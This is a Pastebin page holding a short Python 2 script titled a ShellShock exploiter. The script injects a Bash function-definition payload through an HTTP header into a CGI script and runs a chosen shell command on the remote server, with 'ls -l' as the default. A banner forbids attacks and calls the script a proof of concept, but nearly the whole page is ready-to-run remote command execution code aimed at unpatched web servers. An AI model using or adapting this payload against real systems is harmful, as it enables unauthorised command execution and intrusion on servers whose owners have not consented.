Advertisement
tanmay606

ShellShock Expl0Iter [ Python ]

May 6th, 2015
3,130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.60 KB | None | 0 0
  1. import httplib
  2. import urllib
  3. import sys
  4.  
  5. url = "/cgi-bin/"; #! Vul. Server.
  6. dir = "/cgi-bin/cmo_cmo.sh"; #! Directory
  7. cmd = "/bin/ls -l";#!Command to execute on remote server. [EX.  /usr/bin/id ]
  8.  
  9. #!
  10. #! Author : Tanmay [ 13lackD3M0n ]
  11. #! Script : Sh3ll Sh0ck Expl0it3r
  12. #! EMAIL : kevinmetnik606@gmail.com
  13. #! Facebook : tanmay606
  14. #! I Respect SEcurity.....
  15.  
  16. try:
  17.  from colorama import Fore,Back;
  18. except ImportError:
  19.  print "\n[1] Colorama package not installed. [ DO it First ]";
  20.  print "\n[2] WINNT not supported";
  21.  sys.exit(1);
  22.  
  23.  
  24. def _banner_():
  25.  print (Fore.GREEN+"\n\t-> Author : Tanmay [ 13lackD3m0n ]");
  26.  print "\t-> Script : Shell Sh0cK Inj3cT0r";
  27.  print "\t-> Facebook : tanmay606"
  28.  print(Fore.RED+"\t-> We Respect SEcurity { ScRipt F0r Null-Byte }\n\n"+Fore.RESET);
  29.  print "\t    [~] Use of this script for attacking is not allow.[~]"
  30.  print "\t   [~] Author [ Tanmay ] is not responsible for any harm [~]"
  31.  print "\t[~]This script is written as POC for shellshock vulnerabality [~]\n\n"
  32.  
  33. _banner_();
  34.  
  35. if("http://" in url):
  36.  url = url.replace("http://","");
  37. elif("https://" in url):
  38.  url = url.replace("https://","");
  39. else:
  40.  pass
  41.  
  42. conn = httplib.HTTPConnection(url)
  43. command="() { :; }; %s" %cmd
  44.  
  45. headers = {"Content-type": "application/x-www-form-urlencoded",
  46.     "exploit":command }
  47.  
  48. conn.request("GET",dir,headers=headers)
  49. res = conn.getresponse()
  50. print "Reply Status : %s"%res.status
  51. print "Reply : %s"%res.reason
  52. data = res.read()
  53. if data < 1:
  54.  print "Error : [ Not Vulnerable ] No data recived."
  55.  sys.exit(1);
  56. else:
  57.  print(Fore.BLUE+data+Fore.RESET);
  58.  
  59.  
  60. #!13lackD3m0n
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement